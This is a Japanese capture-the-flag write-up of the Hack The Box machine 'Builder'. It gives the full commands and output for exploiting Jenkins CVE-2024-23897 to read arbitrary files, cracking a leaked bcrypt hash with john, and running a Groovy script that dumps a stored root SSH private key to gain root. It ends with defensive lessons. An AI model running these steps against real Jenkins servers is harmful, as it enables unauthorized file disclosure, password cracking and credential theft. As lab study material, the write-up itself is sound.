Hack The BoxのWriteup(Builder)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Builder — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 8080/Jenkins
CVE-2024-23897
jenkins-cli.jar @file 任意読取
/proc/self/environ
HOME=/var/jenkins_home
user.txt ✓
users.xml + config.xml
bcrypt ハッシュ抽出
john でクラック
jennifer:princess
Jenkins Credentials
root SSH秘密鍵
Groovy スクリプトコンソール
CredentialsProvider ダンプ
SSH root.txt ✓

ポート・バージョンスキャン

BASH
nmap -Pn -p22,8080 -sV -sC 10.129.230.220
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(10.0.18)
🚨
重要発見: ポート 8080 で Jenkins (Jetty 10.0.18 上で稼働) を検出。 HTTP レスポンスヘッダの X-Jenkins からバージョン 2.441 が判明し、 これは CVE-2024-23897 (未認証の任意ファイル読み取り) の対象バージョンに合致する。
PHASE 2

CVE-2024-23897 の調査 & jenkins-cli.jar の取得

脆弱性の概要

NOTE
Jenkins の CLI コマンドパーサーは、引数の先頭が "@" で始まる場合、
その後に続くパスのファイル内容を読み込んで「1行 = 1引数」として展開する
(Java の args4j ライブラリの標準機能)。Jenkins CLI は認証前の段階でも
コマンド引数を解析してしまうため、"@/etc/passwd" のように任意の
ローカルファイルパスを指定すると、各行がコマンドの引数として扱われ、
「そのような引数/エージェントは存在しない」旨のエラーメッセージに
ファイルの中身がそのまま反映されてしまう。これが CVE-2024-23897
(未認証の任意ファイル読み取り) の実体。

jenkins-cli.jar の取得

NOTE
本 CVE の悪用には、対象サーバ自身が配布する jenkins-cli.jar
(/jnlpJars/jenkins-cli.jar) をそのまま利用できる(ドキュメント記載の
公式クライアント)。認証は不要。

実機では帯域が非常に細く (~8KB/s 程度)、3.6MB の jar 取得に
8~10分程度かかることがあるため、タイムアウトを十分長く取ること。
BASH
curl -s -m 900 -o jenkins-cli.jar http://10.129.230.220:8080/jnlpJars/jenkins-cli.jar
RESULT
Content-Length: 3623400
(ダウンロード完了後、ファイルサイズが Content-Length と完全一致することを確認)
⚠️
ハマりどころ: タイムアウトを短く設定していると (例: 20秒)、 ダウンロードが途中で打ち切られる。file コマンドでは 「正常な ZIP アーカイブ」に見えてしまう (先頭のローカルファイルヘッダは 壊れていないため) が、中心ディレクトリ (End of Central Directory) を 欠いた不完全なファイルであり、java -jar 実行時に Error: Invalid or corrupt jarfile で失敗する。 curl -sI で事前に Content-Length を確認し、 ダウンロード後の実サイズと突き合わせて完全性を検証するのが確実。
PHASE 3

任意ファイル読取 & Jenkins ホームディレクトリの特定

/etc/passwd の読取で脆弱性を確認

BASH
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' \
  help "@/etc/passwd"
RESULT
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
脆弱性確認! help コマンドは最初の2行しか表示しないが、 /etc/passwd の内容が確かにエラーメッセージに漏洩している。 より多くの行を読み出すには connect-node コマンドを使う (各行が個別の “No such agent” エラーとして出力される)。

Jenkins ホームディレクトリの特定

BASH
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' \
  connect-node "@/proc/self/environ"
RESULT (抜粋)
ERROR: No such agent "HOSTNAME=... JAVA_HOME=/opt/java/openjdk ... HOME=/var/jenkins_home ... JENKINS_HOME=/var/jenkins_home ..." exists.
⚠️
ハマりどころ: 単純に正規表現 HOME=(\S+) で検索すると、 JAVA_HOME=/opt/java/openjdk の一部にマッチしてしまい、 本来欲しい HOME=/var/jenkins_home より先に見つかって 誤った値を拾ってしまう。JENKINS_HOME= も同様に紛らわしい。 「行頭または空白の直後」という条件でアンカーし、単独の HOME= のみにマッチさせる必要がある。
PHASE 4

user.txt 取得

user.txt の直接読取

BASH
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' \
  connect-node "@/var/jenkins_home/user.txt"
RESULT
ERROR: No such agent "01744d1a49b0b1b8fec534b4e0d77fb9" exists.
user.txt — Jenkins コンテナ (未認証ファイル読取)
01744d1a49b0b1b8fec534b4e0d77fb9
PHASE 5

Jenkins ユーザー資格情報の奪取

users.xml からユーザー→ディレクトリの対応を特定

BASH
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' \
  connect-node "@/var/jenkins_home/users/users.xml"
RESULT (実機の生出力、行順に注目)
ERROR: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
ERROR: No such agent "      <string>jennifer_12108429903186576833</string>" exists.
ERROR: No such agent "  <idToDirectoryNameMap class="concurrent-hash-map">" exists.
ERROR: No such agent "    <entry>" exists.
ERROR: No such agent "      <string>jennifer</string>" exists.
ERROR: No such agent "  <version>1</version>" exists.
(以下略、</entry> 等が続く)
🚨
重要な発見 (ハマりどころ): connect-node "@file" が返す 「1行 = 1エラー」の 出現順序はファイルの実際の行順と一致しない (Jenkins CLI 内部でエラーを集計する Set/Map の走査順に由来すると見られる)。 上の実例でも、本来 <idToDirectoryNameMap> より先に来るはずの <?xml ...?> 宣言行は正しく先頭に来ているが、 jennifer_12108429903186576833 の行が jennifer の行より 先に 出力されている。「先頭から2件を単純に ユーザー名/ディレクトリ名としてペアリングする」実装では、 この2行が入れ替わって取得されると ユーザー名とディレクトリ名を 逆に認識してしまう。正しくは、全ての <string> 値を集合として取り出し、「他のいずれかの値が <自分>_<数字の並び> という形式になっているか」を 順序に依存せず突き合わせて判定するべき。

config.xml から bcrypt ハッシュを抽出

BASH
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' \
  connect-node "@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml"
RESULT (該当行を抜粋)
ERROR: No such agent "      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.
ℹ️
幸い <passwordHash>...</passwordHash> はファイル中で 1行に収まっているため、行の出現順序が入れ替わっていても、 このタグ自体は1つの完全なトークンとして正しく抽出できる。 順序スクランブルの影響を受けるのは「複数行にまたがる対応関係の復元」 (今回の users.xml のようなケース) のみ。

john でハッシュをクラック

BASH
echo '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a' > builder_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt builder_hash.txt
john --show --format=bcrypt builder_hash.txt
RESULT
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
princess         (?)
1g 0:00:00:00 DONE
?:princess
1 password hash cracked, 0 left
Jenkins 認証情報 — jennifer
jennifer : princess

Jenkins へログイン確認

BASH
curl -s -u jennifer:princess http://10.129.230.220:8080/whoAmI/api/json
RESULT
{"_class":"hudson.security.WhoAmI","anonymous":false,"authenticated":true,
"authorities":["authenticated"],"name":"jennifer"}
PHASE 6

Jenkins Credentials 悪用による権限昇格 & root.txt

保存済み SSH クレデンシャルの確認

BASH
curl -s -u jennifer:princess \
  "http://10.129.230.220:8080/credentials/store/system/domain/_/api/json?tree=credentials[id,description,typeName]"
RESULT
{"_class":"...CredentialsStoreAction$DomainWrapper","credentials":[
  {"description":"","id":"1","typeName":"SSH Username with private key"}
]}
🚨
Jenkins のグローバル認証情報ストアに “root” という ID の SSH秘密鍵クレデンシャルが登録されている。これはビルドパイプラインが 本番ホストへ SSH デプロイするために使われていたものと推測される。 SSH Agent プラグインが有効なため、Pipeline のビルド経由でも Groovy スクリプトコンソール経由でも、この秘密鍵を取り出せる。

jenkins-cli の groovy コマンドで CredentialsProvider を直接ダンプ

NOTE
PDF (公式ウォークスルー) では、(A) Pipeline ジョブを作成し
sshagent(credentials: ['1']) { sh 'ssh root@target cat /root/.ssh/id_rsa' }
をビルドしてコンソール出力から鍵を回収する方法、または (B) 認証情報編集画面の
"Concealed for Confidentiality" フィールドをブラウザ DevTools で暗号化値のまま
コピーし、/script の hudson.util.Secret.decrypt() で復号する方法、の2通りが
紹介されている。

ここでは、これらと等価だがジョブ作成やブラウザ操作を必要としない
第3の方法として、jenkins-cli の groovy コマンドで Jenkins の
CredentialsProvider API を直接叩き、SSH秘密鍵オブジェクトをそのまま
文字列としてダンプするスクリプトを実行する。認証済みユーザーであれば
グローバル認証情報ストアの内容を横断的に読み出せる。
GROOVY (dump_creds.groovy)
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardCredentials
import jenkins.model.Jenkins

def creds = CredentialsProvider.lookupCredentials(
    StandardCredentials.class, Jenkins.instance, null, null)
for (c in creds) {
    def uname = ''
    def key = ''
    try { uname = c.username } catch (Throwable ignored) {}
    try { key = c.getPrivateKey() } catch (Throwable ignored) {}
    if (!key) {
        try { key = c.privateKeySource.getPrivateKeys().join('\n') } catch (Throwable ignored) {}
    }
    if (key) {
        println('---BEGIN-CRED---')
        println(uname)
        println(key)
        println('---END-CRED---')
    }
}
BASH
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' \
  -auth 'jennifer:princess' groovy = < dump_creds.groovy
RESULT
---BEGIN-CRED---
root
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt3G9oUyouXj/0CLya9Wz7Vs31bC4rdvgv7n9PCwrApm8PmGCSLgv
<...SNIP (RSA 4096bit 秘密鍵本体)...>
iGFOXbo3+1sSg1AAAADHJvb3RAYnVpbGRlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
---END-CRED---
root 用 SSH秘密鍵の取得に成功! コメント欄 (root@builder の base64) からも、ホスト側の root ユーザー用に 生成された鍵であることが裏付けられる。

SSH root ログイン & root.txt 取得

BASH
cat > root_key <<'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<...上記でダンプした秘密鍵...>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 root_key
ssh -i root_key -o StrictHostKeyChecking=no root@10.129.230.220 'id; cat /root/root.txt'
RESULT
uid=0(root) gid=0(root) groups=0(root)
2b67befb5fa062a4c7fae9f9b3e16bfe
root.txt — root@builder (ホストマシン)
2b67befb5fa062a4c7fae9f9b3e16bfe
ℹ️
Jenkins プロセス自体は Docker コンテナ内で動作しているが (/proc/self/environHOSTNAME がランダムな文字列だった点からも判別可能)、 取得した SSH秘密鍵はコンテナの外側、ホストマシンの rootへの アクセスを許可するものだった。CI/CD パイプラインがホスト側へ デプロイするために鍵を共有していたことが根本原因。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — Jenkins コンテナ
01744d1a49b0b1b8fec534b4e0d77fb9
root.txt — root@builder (ホストマシン)
2b67befb5fa062a4c7fae9f9b3e16bfe

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2024-23897 Jenkins 2.441 (CLI args4j @ファイル展開) 未認証の任意ファイル読み取り Critical jenkins-cli.jar ... help/connect-node "@<path>" でコントローラ上の任意ファイルを読取
bcrypt パスワードハッシュの漏洩+弱いパスワード Jenkins ユーザー jennifer 認証情報の奪取 High users/<dir>/config.xml のハッシュを rockyou.txt でクラック (princess)
Jenkins Credentials に平文相当で保存された root SSH秘密鍵 Global Credentials Store (SSH Agent プラグイン) ホストマシンへの権限昇格 (root) Critical 認証済み Groovy スクリプトコンソール/CLI で CredentialsProvider から秘密鍵をダンプ

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/ssh, 8080/Jenkins 2.441
2CVE調査jenkins-cli.jar 取得公式CLIクライアント (3.6MB)
3任意ファイル読取CVE-2024-23897 (help/connect-node @file)/etc/passwd, HOME=/var/jenkins_home
4フラグ取得connect-node @user.txtuser.txt
5認証情報奪取users.xml + config.xml + johnjennifer:princess
6権限昇格Groovy CredentialsProvider ダンプ + SSHroot.txt

学んだ教訓 & 防御策

問題点防御策
Jenkins が既知の脆弱バージョン (2.441, CVE-2024-23897) のまま運用されている Jenkins を修正版 (2.442 / LTS 2.426.3 以降) へ速やかにアップデートする。CLI over HTTP を無効化する運用も緩和策として有効。
ユーザーパスワードが辞書攻撃で容易に破られる強度 (princess) パスワードポリシー (最低長・複雑性) を強制し、多要素認証を導入する。
本番ホストの root SSH秘密鍵が Jenkins の Credentials Store に平文相当で保存されている CI/CDのデプロイ鍵はスコープを最小化した専用ユーザーに限定し、root への直接デプロイは避ける。Credentials へのアクセス権限を必要最小限のロールに絞る。Vault等のシークレット管理基盤の利用も検討する。
Jenkins コンテナと権限昇格先のホストマシンが同一の信頼境界にある CI/CD 環境とデプロイ先ホストの間はネットワーク・権限双方で分離し、侵害の影響範囲を限定する。
HackTheBox: Builder